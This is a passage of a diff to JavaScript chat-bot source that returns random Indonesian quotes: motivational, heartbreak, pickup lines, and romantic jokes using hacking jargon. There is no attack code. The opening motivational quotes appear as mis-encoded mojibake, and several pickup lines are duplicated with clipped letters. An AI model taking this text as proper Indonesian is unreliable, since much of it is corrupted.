ษชแด›แดœ แดษชส€ษชแด˜ ๊œฑแด‡แด˜แด‡ส€แด›ษช แดแด€แด›แด€สœแด€ส€ษช แด›แด‡ส€ส™ษชแด›. แด‹แด€สŸแด€แดœ แด‹แด€แดœ แดแด‡ษดแดœษดษขษขแดœ แด›แด‡ส€สŸแด€สŸแดœ สŸแด€แดแด€, แด‹แด€แดœ ส™ษช๊œฑแด€ แดแด‡สŸแด‡แดกแด€แด›แด‹แด€ษดษดสแด€.", +"สœษชแด…แดœแด˜ ษชษดษช แด›แด‡ส€แด…ษชส€ษช แด…แด€ส€ษช 10 แด˜แด‡ส€๊œฑแด‡ษด แด€แด˜แด€ สแด€ษดษข แด›แด‡ส€แดŠแด€แด…ษช แด˜แด€แด…แด€แดแดœ แด…แด€ษด 90 แด˜แด‡ส€๊œฑแด‡ษด ส™แด€ษขแด€ษชแดแด€ษดแด€ แด„แด€ส€แด€แดแดœ แดแด‡ษดสษชแด‹แด€แด˜ษชษดสแด€.", +"แด€แด…แด€ แด›ษชษขแด€ แด„แด€ส€แด€ แดœษดแด›แดœแด‹ แดแด‡ษดแด„แด€แด˜แด€ษช แด‹แด‡๊œฑแดœแด‹๊œฑแด‡๊œฑแด€ษด แด›แด‡ส€แด›ษชษดษขษขษช: แด„แด€ส€แด€ แด˜แด‡ส€แด›แด€แดแด€ แด€แด…แด€สŸแด€สœ ส™แด‡ส€๊œฑษชแด‹แด€แด˜ ส™แด€ษชแด‹. แด„แด€ส€แด€ แด‹แด‡แด…แดœแด€ แด€แด…แด€สŸแด€สœ ส™แด‡ส€๊œฑษชแด‹แด€แด˜ ส™แด€ษชแด‹. แด„แด€ส€แด€ แด‹แด‡แด›ษชษขแด€ แด€แด…แด€สŸแด€สœ แดแด‡ษดแดŠแด€แด…ษช ส™แด€ษชแด‹.", +"แด€สŸแด€๊œฑแด€ษด ษดแดแดแดส€ ๊œฑแด€แด›แดœ แดส€แด€ษดษข ษขแด€ษขแด€สŸ แด…แด€สŸแด€แด สœษชแด…แดœแด˜ แด€แด…แด€สŸแด€สœ แด‹แด€ส€แด‡ษดแด€ แดแด‡ส€แด‡แด‹แด€ แดแด‡ษดแด…แด‡ษดษขแด€ส€แด‹แด€ษด แด›แด‡แดแด€ษด, แด‹แด‡สŸแดœแด€ส€ษขแด€, แด…แด€ษด แด›แด‡แด›แด€ษดษขษขแด€ แดแด‡ส€แด‡แด‹แด€.", +"แดกแด€แด‹แด›แดœ สŸแด‡ส™ษชสœ ส™แด‡ส€สœแด€ส€ษขแด€ แด…แด€ส€ษชแด˜แด€แด…แด€ แดœแด€ษดษข. แด‹แด€แดแดœ ส™ษช๊œฑแด€ แดแด‡ษดแด…แด€แด˜แด€แด›แด‹แด€ษด สŸแด‡ส™ษชสœ ส™แด€ษดสแด€แด‹ แดœแด€ษดษข, แด›แด‡แด›แด€แด˜ษช แด‹แด€แดแดœ แด›ษชแด…แด€แด‹ ส™ษช๊œฑแด€ แดแด‡ษดแด…แด€แด˜แด€แด›แด‹แด€ษด สŸแด‡ส™ษชสœ ส™แด€ษดสแด€แด‹ แดกแด€แด‹แด›แดœ.", +"แด˜แด‡ษดแด‡แด›แด€แด˜แด€ษด แด›แดœแดŠแดœแด€ษด แด€แด…แด€สŸแด€สœ ส€แด€สœแด€๊œฑษชแด€ แดแด€๊œฑแด€ แด…แด‡แด˜แด€ษด สแด€ษดษข แดแด‡ษดแด€ส€ษชแด‹.", +"๊œฑแด€แด€แด› แด‹ษชแด›แด€ ส™แด‡ส€แดœ๊œฑแด€สœแด€ แดœษดแด›แดœแด‹ แดแด‡ษดแดŠแด€แด…ษช สŸแด‡ส™ษชสœ ส™แด€ษชแด‹ แด…แด€ส€ษช แด‹ษชแด›แด€, ๊œฑแด‡ษขแด€สŸแด€ ๊œฑแด‡๊œฑแดœแด€แด›แดœ แด…ษช ๊œฑแด‡แด‹ษชแด›แด€ส€ แด‹ษชแด›แด€ แดŠแดœษขแด€ แดแด‡ษดแดŠแด€แด…ษช สŸแด‡ส™ษชสœ ส™แด€ษชแด‹.", +"แด˜แด‡ส€แด›แดœแดส™แดœสœแด€ษด แด…ษชแดแดœสŸแด€ษช แด‹แด‡แด›ษชแด‹แด€ แด‹ษชแด›แด€ แดแดœสŸแด€ษช แดแด‡ษดแด‡ส€ษชแดแด€ แด‹แด‡สŸแด‡แดแด€สœแด€ษด แด‹ษชแด›แด€ ๊œฑแด‡ษดแด…ษชส€ษช.", +"แดŠแด€ษดษขแด€ษดสŸแด€สœ แด˜แด‡ส€ษดแด€สœ แดแด‡ษดสแด‡ส€แด€สœ แด‹แด‡แด›ษชแด‹แด€ แด€ษดแด…แด€ แดแด€๊œฑษชสœ แดแด€แดแด˜แดœ ส™แด‡ส€แดœ๊œฑแด€สœแด€ สŸแด€ษขษช. แด›ษชแด…แด€แด‹ แด€แด…แด€ แด‹แด€แด›แด€ ส™แด‡ส€แด€แด‹สœษชส€ ๊œฑแด€แดแด˜แด€ษช แด€ษดแด…แด€ ส™แด‡ส€สœแด‡ษดแด›ษช แดแด‡ษดแด„แดส™แด€.", +"แด‹แด‡แดแด€แดœแด€ษด แด€แด…แด€สŸแด€สœ แด‹แดœษดแด„ษช ๊œฑแดœแด‹๊œฑแด‡๊œฑ. แดส€แด€ษดษข-แดส€แด€ษดษข ๊œฑแดœแด‹๊œฑแด‡๊œฑ, ส™แด‡ส€แดœ๊œฑแด€สœแด€ แด‹แด‡ส€แด€๊œฑ แด€แด˜แด€ แด˜แดœษด สแด€ษดษข แดแด‡ส€แด‡แด‹แด€ ส€แด€๊œฑแด€แด‹แด€ษด แด…แด‡ษดษขแด€ษด แดแด‡ษดแด‡ส€แด€แด˜แด‹แด€ษด แด‹แด‡ษชษดษขษชษดแด€ษด แดแด‡ส€แด‡แด‹แด€ แดœษดแด›แดœแด‹ แดแด‡ษดษขแด€แด›แด€๊œฑษช ๊œฑษชแด‹แด€แด˜ แด€แด˜แด€แด›ษช๊œฑ, แด‹แด‡ส€แด€ษขแดœแด€ษด แด€แด›แด€แดœ แด‹แด‡แด›แด€แด‹แดœแด›แด€ษด.", +"แดŠแด€ษดษขแด€ษดสŸแด€สœ แด˜แด‡ส€ษดแด€สœ แดแด‡ษดสแด‡ส€แด€สœ แด‹แด‡แด›ษชแด‹แด€ แด€ษดแด…แด€ แดแด€๊œฑษชสœ แดแด€แดแด˜แดœ ส™แด‡ส€แดœ๊œฑแด€สœแด€ สŸแด€ษขษช. แด›ษชแด…แด€แด‹ แด€แด…แด€ แด‹แด€แด›แด€ ส™แด‡ส€แด€แด‹สœษชส€ ๊œฑแด€แดแด˜แด€ษช แด€ษดแด…แด€ ส™แด‡ส€สœแด‡ษดแด›ษช แดแด‡ษดแด„แดส™แด€.", +"แด‹แด‡แดแด€แดœแด€ษด แด€แด…แด€สŸแด€สœ แด‹แดœษดแด„ษช ๊œฑแดœแด‹๊œฑแด‡๊œฑ. แดส€แด€ษดษข-แดส€แด€ษดษข ๊œฑแดœแด‹๊œฑแด‡๊œฑ, ส™แด‡ส€แดœ๊œฑแด€สœแด€ แด‹แด‡ส€แด€๊œฑ แด€แด˜แด€ แด˜แดœษด สแด€ษดษข แดแด‡ส€แด‡แด‹แด€ ส€แด€๊œฑแด€แด‹แด€ษด แด…แด‡ษดษขแด€ษด แดแด‡ษดแด‡ส€แด€แด˜แด‹แด€ษด แด‹แด‡ษชษดษขษชษดแด€ษด แดแด‡ส€แด‡แด‹แด€ แดœษดแด›แดœแด‹ แดแด‡ษดษขแด€แด›แด€๊œฑษช ๊œฑษชแด‹แด€แด˜ แด€แด˜แด€แด›ษช๊œฑ, แด‹แด‡ส€แด€ษขแดœแด€ษด แด€แด›แด€แดœ แด‹แด‡แด›แด€แด‹แดœแด›แด€ษด.", +"สœแด€สŸ แด˜แด‡ส€แด›แด€แดแด€ สแด€ษดษข แด…ษชสŸแด€แด‹แดœแด‹แด€ษด แดส€แด€ษดษข ๊œฑแดœแด‹๊œฑแด‡๊œฑ แด€แด…แด€สŸแด€สœ แดแด‡แดแด€ษดแด…แด€ษดษข แด‹แด‡ษขแด€ษขแด€สŸแด€ษด ๊œฑแด‡ส™แด€ษขแด€ษช ๊œฑษชษดสแด€สŸ แด˜แด๊œฑษชแด›ษช๊œฐ แดœษดแด›แดœแด‹ ๊œฑแดœแด‹๊œฑแด‡๊œฑ.", +"แด„ษชส€ษช แด‹สœแด€๊œฑ แดส€แด€ษดษข ๊œฑแดœแด‹๊œฑแด‡๊œฑ แด€แด…แด€สŸแด€สœ แดแด‡ส€แด‡แด‹แด€ ๊œฑแด‡สŸแด€สŸแดœ ส™แด‡ส€แดœ๊œฑแด€สœแด€ แด‹แด‡ส€แด€๊œฑ แดœษดแด›แดœแด‹ แดแด‡แดแด˜แด‡สŸแด€แดŠแด€ส€ษช สœแด€สŸ-สœแด€สŸ ส™แด€ส€แดœ.", +"๊œฑแดœแด‹๊œฑแด‡๊œฑ แด€แด…แด€สŸแด€สœ แดแด‡ษดแด…แด€แด˜แด€แด›แด‹แด€ษด แด€แด˜แด€ สแด€ษดษข แด‹แด€แดแดœ ษชษดษขษชษดแด‹แด€ษด, แด‹แด‡ส™แด€สœแด€ษขษชแด€แด€ษด แดแด‡ษดษขษชษดษขษชษดแด‹แด€ษด แด€แด˜แด€ สแด€ษดษข แด‹แด€แดแดœ แด…แด€แด˜แด€แด›แด‹แด€ษด.", +"แดส€แด€ษดษข แด˜แด‡๊œฑษชแดษช๊œฑ แดแด‡สŸษชสœแด€แด› แด‹แด‡๊œฑแดœสŸษชแด›แด€ษด แด…ษช ๊œฑแด‡แด›ษชแด€แด˜ แด‹แด‡๊œฑแด‡แดแด˜แด€แด›แด€ษด. แดส€แด€ษดษข สแด€ษดษข แดแด˜แด›ษชแดษช๊œฑ แดแด‡สŸษชสœแด€แด› แด˜แด‡สŸแดœแด€ษดษข แด…แด€สŸแด€แด ๊œฑแด‡แด›ษชแด€แด˜ แด‹แด‡๊œฑแดœสŸษชแด›แด€ษด.", +"แด‹แด‡ส€แด€ษขแดœแด€ษด แดแด‡แดส™แดœษดแดœสœ สŸแด‡ส™ษชสœ ส™แด€ษดสแด€แด‹ แดษชแดแด˜ษช แด…แด€ส€ษชแด˜แด€แด…แด€ แด‹แด‡ษขแด€ษขแด€สŸแด€ษด.", +"สŸแด€แด‹แดœแด‹แด€ษด แด€แด˜แด€ สแด€ษดษข สœแด€ส€แดœ๊œฑ แด‹แด€แดแดœ สŸแด€แด‹แดœแด‹แด€ษด ๊œฑแด€แดแด˜แด€ษช แด‹แด€แดแดœ แด…แด€แด˜แด€แด› แดแด‡สŸแด€แด‹แดœแด‹แด€ษด แด€แด˜แด€ สแด€ษดษข ษชษดษขษชษด แด‹แด€แดแดœ สŸแด€แด‹แดœแด‹แด€ษด.", +"แดแด˜แด›ษชแดษช๊œฑแด›ษช๊œฑ แด€แด…แด€สŸแด€สœ ๊œฑแด€สŸแด€สœ ๊œฑแด€แด›แดœ แด‹แดœแด€สŸษชแด›แด€๊œฑ สแด€ษดษข สŸแด‡ส™ษชสœ แด›แด‡ส€แด‹แด€ษชแด› แด…แด‡ษดษขแด€ษด แด‹แด‡๊œฑแดœแด‹๊œฑแด‡๊œฑแด€ษด แด…แด€ษด แด‹แด‡ส™แด€สœแด€ษขษชแด€แด€ษด แด…แด€ส€ษชแด˜แด€แด…แด€ สแด€ษดษข สŸแด€ษชษด.", +"แด˜แด‡ษดษขสœแด€ส€ษขแด€แด€ษด แด˜แด€สŸษชษดษข แด›ษชษดษขษขษช ส™แด€ษขษช ๊œฑแด‡แดส€แด€ษดษข แด˜แด‡แด‹แด‡ส€แดŠแด€ แด‹แด‡ส€แด€๊œฑ ส™แดœแด‹แด€ษดสŸแด€สœ แด€แด˜แด€ สแด€ษดษข แด…ษชแด€ แด˜แด‡ส€แดสŸแด‡สœ แด…แด€ส€ษช แด˜แด‡แด‹แด‡ส€แดŠแด€แด€ษด ษชแด›แดœ, แด›แด€แด˜ษช ๊œฑแด‡ส™แด‡ส€แด€แด˜แด€ ส™แด‡ส€แด‹แด‡แดส™แด€ษดษข ษชแด€ แด…แด‡ษดษขแด€ษด แด‹แด‡ส€แดŠแด€ แด‹แด‡ส€แด€๊œฑษดสแด€ ษชแด›แดœ.", +"แด„แด€ส€แด€ แด›แด‡ส€ส™แด€ษชแด‹ แดœษดแด›แดœแด‹ แดแด‡แดแดœสŸแด€ษช แด€แด…แด€สŸแด€สœ แด…แด‡ษดษขแด€ษด ส™แด‡ส€สœแด‡ษดแด›ษช ส™แด‡ส€ส™ษชแด„แด€ส€แด€ แด…แด€ษด แดแดœสŸแด€ษช แดแด‡สŸแด€แด‹แดœแด‹แด€ษด.", +"แด‹แด‡ษขแด€ษขแด€สŸแด€ษด แด›ษชแด…แด€แด‹ แด€แด‹แด€ษด แด˜แด‡ส€ษดแด€สœ แดแด‡ษดสแดœ๊œฑแดœสŸ แดŠษชแด‹แด€ แด›แด‡แด‹แด€แด… แดœษดแด›แดœแด‹ ๊œฑแดœแด‹๊œฑแด‡๊œฑ แด„แดœแด‹แดœแด˜ แด‹แดœแด€แด›." +] +let motivasii = pickRandom(motivasi) + reply(`"${motivasii}"`) +} +break +//=========================================\\====== +case 'quotesgalau': { + function pickRandom(list) { + return list[Math.floor(list.length * Math.random())] +} +const galau = [ + "Gak salah kalo aku lebih berharap sama orang yang lebih pasti tanpa khianati janji-janji", + "Kalau aku memang tidak sayang sama kamu ngapain aku mikirin kamu. Tapi semuanya kamu yang ngganggap aku gak sayang sama kamu", + "Jangan iri dan sedih jika kamu tidak memiliki kemampuan seperti yang orang miliki. Yakinlah orang lain juga tidak memiliki kemampuan sepertimu", + "Hanya kamu yang bisa membuat langkahku terhenti, sambil berkata dalam hati mana bisa aku meninggalkanmu", + "Tetap tersenyum walaluku masih dibuat menunggu dan rindu olehmu, tapi itu demi kamu", + "Tak semudah itu melupakanmu", + "Secuek-cueknya kamu ke aku, aku tetap sayang sama kamu karena kamu telah menerima aku apa adanya", + "Aku sangat bahagia jika kamu bahagia didekatku, bukan didekatnya", + "Jadilah diri sendiri, jangan mengikuti orang lain, tetapi tidak sanggup untuk menjalaninya", + "Cobalah terdiam sejenak untuk memikirkan bagaimana caranya agar kita dapat menyelesaikan masalah ini bersama-sama", + "Bisakah kita tidak bermusuhan setelah berpisah, aku mau kita seperti dulu sebelum kita jadian yang seru-seruan bareng, bercanda dan yang lainnya", + "Aku ingin kamu bisa langgeng sama aku dan yang aku harapkan kamu bisa jadi jodohku", + "Cinta tak bisa dijelaskan dengan kata-kata saja, karena cinta hanya mampu dirasakan oleh hati", + "Masalah terbesar dalam diri seseorang adalah tak sanggup melawan rasa takutnya", + "Selamat pagi buat orang yang aku sayang dan orang yang membenciku, semoga hari ini hari yang lebih baik daripada hari kemarin buat aku dan kamu", + "Jangan menyerah dengan keadaanmu sekarang, optimis karena optimislah yang bikin kita kuat", + "Kepada pria yang selalu ada di doaku aku mencintaimu dengan tulus apa adanya", + "Tolong jangan pergi saat aku sudah sangat sayang padamu", + "Coba kamu yang berada diposisiku, lalu kamu ditinggalin gitu aja sama orang yang lo sayang banget", + "Aku takut kamu kenapa-napa, aku panik jika kamu sakit, itu karena aku cinta dan sayang padamu", + "Sakit itu ketika cinta yang aku beri tidak kamu hargai", + "Kamu tiba-tiba berubah tanpa sebab tapi jika memang ada sebabnya kamu berubah tolong katakan biar saya perbaiki kesalahan itu", + "Karenamu aku jadi tau cinta yang sesungguhnya", + "Senyum manismu sangatlah indah, jadi janganlah sampai kamu bersedih", + "Berawal dari kenalan, bercanda bareng, ejek-ejekan kemudian berubah menjadi suka, nyaman dan akhirnya saling sayang dan mencintai", + "Tersenyumlah pada orang yang telah menyakitimu agar sia tau arti kesabaran yang luar biasa", + "Aku akan ingat kenangan pahit itu dan aku akan jadikan pelajaran untuk masa depan yang manis", + "Kalau memang tak sanggup menepati janjimu itu setidaknya kamu ingat dan usahakan jagan membiarkan janjimu itu sampai kau lupa", + "Hanya bisa diam dan berfikir Kenapa orang yang setia dan baik ditinggalin yang nakal dikejar-kejar giliran ditinggalin bilangnya laki-laki itu semuanya sama", + "Walaupun hanya sesaat saja kau membahagiakanku tapi rasa bahagia yang dia tidak cepat dilupakan", + "Aku tak menyangka kamu pergi dan melupakan ku begitu cepat", + "Jomblo gak usah diam rumah mumpung malam minggu ya keluar jalan lah kan jomblo bebas bisa dekat sama siapapun pacar orang mantan sahabat bahkan sendiri atau bareng setan pun bisa", + "Kamu adalah teman yang selalu di sampingku dalam keadaan senang maupun susah Terimakasih kamu selalu ada di sampingku", + "Aku tak tahu sebenarnya di dalam hatimu itu ada aku atau dia", + "Tak mudah melupakanmu karena aku sangat mencintaimu meskipun engkau telah menyakiti aku berkali-kali", + "Hidup ini hanya sebentar jadi lepaskan saja mereka yang menyakitimu Sayangi Mereka yang peduli padamu dan perjuangan mereka yang berarti bagimu", + "Tolong jangan pergi meninggalkanku aku masih sangat mencintai dan menyayangimu", + "Saya mencintaimu dan menyayangimu jadi tolong jangan engkau pergi dan meninggalkan ku sendiri", + "Saya sudah cukup tahu bagaimana sifatmu itu kamu hanya dapat memberikan harapan palsu kepadaku", + "Aku berusaha mendapatkan cinta darimu tetapi Kamunya nggak peka", + "Aku bangkit dari jatuh ku setelah kau jatuhkan aku dan aku akan memulainya lagi dari awal Tanpamu", + "Mungkin sekarang jodohku masih jauh dan belum bisa aku dapat tapi aku yakin jodoh itu Takkan kemana-mana dan akan ku dapatkan", + "Datang aja dulu baru menghina orang lain kalau memang dirimu dan lebih baik dari yang kau hina", + "Membelakanginya mungkin lebih baik daripada melihatnya selingkuh didepan mata sendiri", + "Bisakah hatimu seperti angsa yang hanya setia pada satu orang saja", + "Aku berdiri disini sendiri menunggu kehadiran dirimu", + "Aku hanya tersenyum padamu setelah kau menyakitiku agar kamu tahu arti kesabaran", + "Maaf aku lupa ternyata aku bukan siapa-siapa", + "Untuk memegang janjimu itu harus ada buktinya jangan sampai hanya janji palsu", + "Aku tidak bisa selamanya menunggu dan kini aku menjadi ragu Apakah kamu masih mencintaiku", + "Jangan buat aku terlalu berharap jika kamu tidak menginginkanku", + "Lebih baik sendiri daripada berdua tapi tanpa kepastian", + "Pergi bukan berarti berhenti mencintai tapi kecewa dan lelah karena harus berjuang sendiri", + "Bukannya aku tidak ingin menjadi pacarmu Aku hanya ingin dipersatukan dengan cara yang benar", + "Akan ada saatnya kok aku akan benar-benar lupa dan tidak memikirkan mu lagi", + "Kenapa harus jatuh cinta kepada orang yang tak bisa dimiliki", + "Jujur aku juga memiliki perasaan terhadapmu dan tidak bisa menolakmu tapi aku juga takut untuk mencintaimu", + "Maafkan aku sayang tidak bisa menjadi seperti yang kamu mau", + "Jangan memberi perhatian lebih seperti itu cukup biasa saja tanpa perlu menimbulkan rasa", + "Aku bukan mencari yang sempurna tapi yang terbaik untukku", + "Sendiri itu tenang tidak ada pertengkaran kebohongan dan banyak aturan", + "Cewek strong itu adalah yang sabar dan tetap tersenyum meskipun dalam keadaan terluka", + "Terima kasih karena kamu aku menjadi lupa tentang masa laluku", + "Cerita cinta indah tanpa masalah itu hanya di dunia dongeng saja", + "Kamu tidak akan menemukan apa-apa di masa lalu Yang ada hanyalah penyesalan dan sakit hati", + "Mikirin orang yang gak pernah mikirin kita itu emang bikin gila", + "Dari sekian lama menunggu apa yang sudah didapat", + "Perasaan Bodo gue adalah bisa jatuh cinta sama orang yang sama meski udah disakiti berkali-kali", + "Yang sendiri adalah yang bersabar menunggu pasangan sejatinya", + "Aku terlahir sederhana dan ditinggal sudah biasa", + "Aku sayang kamu tapi aku masih takut untuk mencintaimu", + "Bisa berbagi suka dan duka bersamamu itu sudah membuatku bahagia", + "Aku tidak pernah berpikir kamu akan menjadi yang sementara", + "Jodoh itu bukan seberapa dekat kamu dengannya tapi seberapa yakin kamu dengan Allah", + "Jangan paksa aku menjadi cewek seperti seleramu", + "Hanya yang sabar yang mampu melewati semua kekecewaan", + "Balikan sama kamu itu sama saja bunuh diri dan melukai perasaan ku sendiri", + "Tak perlu membalas dengan menyakiti biar Karma yang akan urus semua itu", + "Aku masih ingat kamu tapi perasaanku sudah tidak sakit seperti dulu", + "Punya kalimat sendiri & mau ditambahin? chat *.owner*" +] + let bacotan = pickRandom(galau) + reply(bacotan) +} +break +//=========================================\\====== +case 'quotesgombal': { + function pickRandom(list) { + return list[Math.floor(list.length * Math.random())] +} +const gombal = [ + "Hal yang paling aku suka yaitu ngemil, namun tau gak ngemil apa yang paling aku suka? ngemilikin kamu sepenuhnya.", + "Seandainya sekarang adalah tanggal 28 oktober 1928, aku akan ubah naskah sumpah pemuda menjadi sumpah aku cinta kamu.", + "Aku gak pernah merasakan ketakutan sedikit pun ketika berada didekat kamu, karena kamulah kekuatanku.", + "Kamu tahu apa persamaan rasa sayangku ke kamu dengan matahari? Persamaannya adalah sama-sama terbit setiap hari dan hanya akan berakhir sampai kiamat.", + "Kalau bus kota jauh dekat ongkosnya sama, tapi cinta ini dekat-dekat makin saling cinta.", + "Kalausaja aku harus mengorbankan semua kebahagiaanku hanya untuk sekedar membuat kamu tertawa. Aku rela.", + "Anjing menggonggong kafilah berlalu, tiap hari bengong mikirin kamu melulu.", + "Kalau aku jadi wakil rakyat kayaknya bakalan gagal deh. Gimana aku mau mikiran rakyat kalau yang ada dipikiran aku itu cuman ada kamu.", + "denganambah satu sama dengan dua. Aku sama kamu sama dengan saling cinta.", + "Kalo kita beda kartu GSM, itu gak masalah asalkan nantinya nama kita berdua ada di kartu Keluarga yang sama.", + "Masalah yang selalu sulit untukku membuat mu mencintai ku, tapi lebih sulit memaksa hatiku untuk berhenti memikirkan dirimu.", + "Aku harap kamu tidak menanyakan hal terindah yang pernah singgah di kehidupanku, karena jawaban nya adalah kamu.", + "Hal yang paling aku suka yaitu ngemil, namun tau gak ngemil apa yang paling aku suka? ngemilikin kamu sepenuhnya.", + "seandainyaa sekarang adalah tanggal 28 oktober 1928, aku akan ubah naskah sumpah pemuda menjadi sumpah aku cinta kamu.", + "kuu gak pernah merasakan ketakutan sedikit pun ketika berada didekat kamu, karena kamulah kekuatanku.", + "kamuu tahu apa persamaan rasa sayangku ke kamu dengan matahari? Persamaannya adalah sama-sama terbit setiap hari dan hanya akan berakhir sampai kiamat.", + "Kalau bus kota jauh dekat ongkosnya sama, tapi cinta ini dekat-dekat makin saling cinta.", + "jikaa saja aku harus mengorbankan semua kebahagiaanku hanya untuk sekedar membuat kamu tertawa. Aku rela.", + "Anjing menggonggong kafilah berlalu, tiap hari bengong mikirin kamu melulu.", + "Kalau aku jadi wakil rakyat kayaknya bakalan gagal deh. Gimana aku mau mikiran rakyat kalau yang ada dipikiran aku itu cuman ada kamu.", + "atuu tambah satu sama dengan dua. Aku sama kamu sama dengan saling cinta,.", + "aloo kita beda kartu GSM, itu gak masalah asalkan nantinya nama kita berdua ada di kartu Keluarga yang sama.", + "Masalah yang selalu sulit untukku membuat mu mencintai ku, tapi lebih sulit memaksa hatiku untuk berhenti memikirkan dirimu.", + "Aku tak pernah berjanji untuk sebuah perasaan, namun aku berusaha berjanji untuk sebuah kesetiaan.", + "Aku sangat berharap kamu tau, kalau aku tidak pernah menyesali cintaku untuk mu, karena bagiku memiliki kamu sudah cukup bagi ku.", + "Jangankan memilikimu, mendengar kamu kentut aja aku sudah bahagia.", + "Aku mohon jangan jalan-jalan terus di pikiranku, duduk yang manis di hatiku saja.", + "Berulang tahun memang indah, namun bagiku yang lebih indah jika berulang kali bersamamu.", + "Napas aku kok sesek banget ya?, karena separuh nafasku ada di kamu.", + "Jika ada seseorang lebih memilih pergi meninggalkan kamu, jangan pernah memohon padanya untuk tetap bertahan. Karena jika dia cinta, dia tak akan mau pergi.", + "jangann diam aja dong, memang diam itu emas, tapi ketahuilah suara kamu itu seperti berlian.", + "Kesasar itu serasa rugi banget, namun aku nggak merasa rugi karena cintaku sudah Biasanya orang yang lagi nyasar itu rugi ya, tapi tau gak? Aku gak merasa rugi sebab cintaku sudah nyasar ke hati bidadari.", + "Ada 3 hal yang paling aku sukai di dunia ini, yaitu Matahari, Bulan dan Kamu. Matahari untuk siang hari, Bulan untuk malam hari dan Kamu untuk selamanya dihatiku.", + "Sayang, kamu itu seperti garam di lautan, tidak terlihat namun akan selalu ada untuk selamanya.", + "kuu gak perlu wanita yang sholeha, tapi bagaimana menuntun wanita yang aku cintai menjadi seorang yang sholehah.", + "Aku tidak minta bintang atau bulan kepadamu. Cukup temani aku selamanya di bawah cahayanya.", + "Akuana kalo kita berdua jadi komplotan penjahat: Aku mencuri hatimu, dan kamu mencuri hatiku?", + "Aku gak perlu wanita yang cantik, tapi bagaimana aku menyanjung wanita yang aku cintai seperti wanita yang paling cantik di bumi ini.", + "Aku pengen bersamamu cuma pada dua waktu: SEKARANG dan SELAMANYA.", + "Akuu tuh bikin aku ga bisa tidur tau ga?", + "Soalnya kamu selalu ada dibayang-bayang aku terus.", + "Jika aku bisa jadi bagian dari dirimu,aku mau jadi air matamu,yang tersimpan di hatimu, lahir dari matamu, hidup di pipimu, dan mati di bibirmu.", + "Papa kamu pasti kerja di apotik ya? | kenapa bang? | karena cuma kamu obat sakit hatiku.", + "akuu selalu berusaha tak menangis karenamu, karena setiap butir yang jatuh, hanya makin mengingatkan, betapa aku tak bisa melepaskanmu.", + "mauu nanya jalan nih. Jalan ke hatimu lewat mana ya?", + "Andai sebuah bintang akan jatuh setiap kali aku mengingatmu, bulan pasti protes. Soalnya dia bakal sendirian di angkasa.", + "Andai kamu gawang aku bolanya. Aku rela ditendang orang-orang demi aku dapat bersamamu,", + "Dingin malam ini menusuk tulang. Kesendirian adalah kesepian. Maukah kau jadi selimut penghangat diriku?", + "Keindahan Borobudur keajaiban dunia, keindahan kamu keajaiban cinta.", + "Aku ingin mengaku dosa. Jangan pernah marah ya. Maafkan sebelumnya. Tadi malam aku mimpiin kamu jadi pacarku. Setelah bangun, akankah mimpiku jadi nyata?", + "Kalau nggak sih aku bilang aku cinta kamu hari ini? Kalau besok gimana? Besok lusa? Besoknya besok lusa? Gimana kalau selamanya?", + "Orangtuamu pengrajin bantal yah? Karena terasa nyaman jika di dekatmu.", + "Jika malam adalah jeruji gelap yang menjadi sangkar, saya ingin terjebak selamanya di sana bersamamu.", + "Sekarang aku gendutan gak sih? Kamu tau gak kenapa ? Soalnya kamu sudah mengembangkan cinta yang banyak di hatiku.", + "Di atas langit masih ada langit. Di bawah langit masih ada aku yang mencintai kamu.", + "Tau tidak kenapa malam ini tidak ada bintang? Soalnya bintangnya pindah semua ke matamu?", + "Aku mencintaimu! Jika kamu benci aku, panah saja diriku. Tapi jangan di hatiku ya, karena di situ kamu berada.", + "Bapak kamu pasti seorang astronot? | kok tau? | Soalnya aku melihat banyak bintang di matamu.", + "Bapak kamu dosen ya? | kok tau? | karena nilai kamu A+ di hatiku.", + "Kamu pasti kuliah di seni pahat ya? | kok tau sih? | Soalnya kamu pintar sekali memahat namamu di hatiku.", + "Ya Tuhan, jika dia jodohku, menangkanlah tender pembangunan proyek menara cintaku di hatinya.", + "Kamu mantan pencuri ya? | kok tau? | Abisnya kamu mencuri hatiku sih!", + "Cowok : Aku suka senyum-senyum sendiri lho. | Cewek : Hah .. Gila Ya | Cowok : Nggak. Aku sedang mikirin kamu.", + "Setiap malam aku berjalan-jalan di suatu tempat. Kamu tau di mana itu ? | gatau, emang dimana? | Di hatimu.", + "Kamu pake Telkomesl ya? Karena sinyal-sinyal cintamu sangat kuat sampai ke hatiku.", + "Kamu tahu gak sih? AKu tuh capek banget. Capek nahan kangen terus sama kamu.", + "katanyaa kalau sering hujan itu bisa membuat seseorang terhanyut, kalau aku sekarang sedang terhanyut di dalam cintamu.", + "Aku harap kamu jangan pergi lagi ya? karena, bila aku berpisah dengamu sedetik saja bagaikan 1000 tahun rasanya.", + "Aku sih gak butuh week end, yang aku butuhkan hanyalah love you till the end.", + "Emak kamu tukang Gado gado ya?, kok tau sih?, Pantesan saja kamu telah mencampur adukan perasaanku", + "Walau hari ini cerah, tetapi tanpa kamu disisiku sama saja berselimutkan awan gelap di hati ini", + "Kamu ngizinin aku kangen sehari berapa kali neng? Abang takut over dosis.", + "cintaa aku ke kamu tuh bagaikan hutang, awalnya kecil, lama-lama didiemin malah tambah gede.", + "Berulang tahun adalah hari yang indah. Tapih akin lebih indah kalo udah berulang-ulang kali bersama kamu." +] +let bacotan = pickRandom(gombal) + reply(bacotan) + +} +break +//=========================================\\====== +case 'quoteshacker': { + function pickRandom(list) { + return list[Math.floor(list.length * Math.random())] +} +const heker = [ + "Dear kamu yang tertulis di halaman defacementku, Kapan jadi pacarku?", + "Aku rela ko jadi Processor yg kepanasan, asalkan kmu yg jadi heatsink'y yg setiap saat bisa mendinginkan ku.", + "Gak usah nyari celah xss deh, karena ketika kamu ngeklik hatiku udah muncul pop up namamu.", + "berharap setelah aku berhasil login di hati kamu ga akan ada tombol logout, dan sessionku ga bakal pernah expired.", + "Masa aku harus pake teknik symlink bypass buat buka-buka folder hatimu yg open_basedir enabled.", + "Diriku dan Dirimu itu ibarat PHP dan MySQL yang belum terkoneksi.", + "Jangan cuma bisa inject hatinya,tapi harus bisa patchnya juga. Biar tidak selingkuh sama hacker lain.", + "Aku memang programmer PHP,tapi aku nggak akan php-in kamu kok.", + "Eneeeng. | Apache? | Km wanita yg paling Unix yg pernah aku kenal |", + "Sayang, capslock kamu nyala ya? | ngga, kenapa emangnya? | soalnya nama kamu ketulis gede bgt di hati aku | zzz! smile", + "Aku deketin kamu cuma untuk redirect ke hati temenmu.", + "Domain aja bisa parkir, masa cintaku ga bisa parkir dihatimu?", + "Aku boleh jadi 